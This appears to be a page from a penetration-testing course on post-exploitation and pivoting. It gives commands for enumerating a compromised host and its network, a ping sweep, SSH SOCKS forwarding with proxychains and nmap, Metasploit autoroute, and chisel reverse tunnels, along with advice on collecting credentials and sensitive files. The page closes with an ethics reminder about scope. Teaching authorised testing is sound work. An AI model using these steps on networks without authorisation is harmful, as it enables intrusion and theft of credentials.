

Post-Exploitation & Pivoting

After the shell – in the network

```
# From inside the box
ipconfig /all; route print      # Windows
ip a; ip route                 # Linux
netstat -ano                   # what's listening/connected
whoami /all                    # your exact rights
arp -a                         # LAN topology peek

# New network discovery
for /f %i in (1..254) do @ping -n 1 10.0.5.%i -w 300 | find "TTL"
```

The "aha" moment: a mounted internal segment that route print showed.

Pivoting (using the foothold as a router)

SSH dynamic forwarding (jump host to internal network)

```
ssh -D 1080 user@foothold # SOCKS proxy on Kali:1080
# then configure:
echo 'socks5 127.0.0.1 1080' >> /etc/proxychains.conf
proxychains nmap --top-ports -sT 10.0.5.10
```

Metasploit route + portscan module

```
run post/multi/manage/autoroute
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.0.5.10
```

chisel (modern favorite)

```
# foothold: chisel client -R 9000:socks
chisel server -p 8080 --reverse on kali
```

```
./chisel client Kali:8080 R:9000:socks on the foothold  
# then proxychains nmap via 127.0.0.1:9000
```

Network pivots vs agent pivots

SOCKS (network pivot): all tools proxied

Agent-based (MSF route): context sessions only

Port forward (local): specific target port to your box (e.g., `ssh -L`)

Collecting toward the goal

Sensitive files, configs, credentials in transit

Map what's reachable; guess the objective (what would the client most fear losing)

Screenshot evidence; keep note of every credential/token used

The ethics brake

Pivoting accelerates into other people's networks FAST. Outside your lab: stop at the first boundary that isn't in your RoE and expand scope in WRITING.

Post-exploitation is where advanced attackers prove their value and where careless testers find themselves exposed. Map, mark, move—then report honestly.

[← Persistence & Lateral Move...](#)

Module complete ✓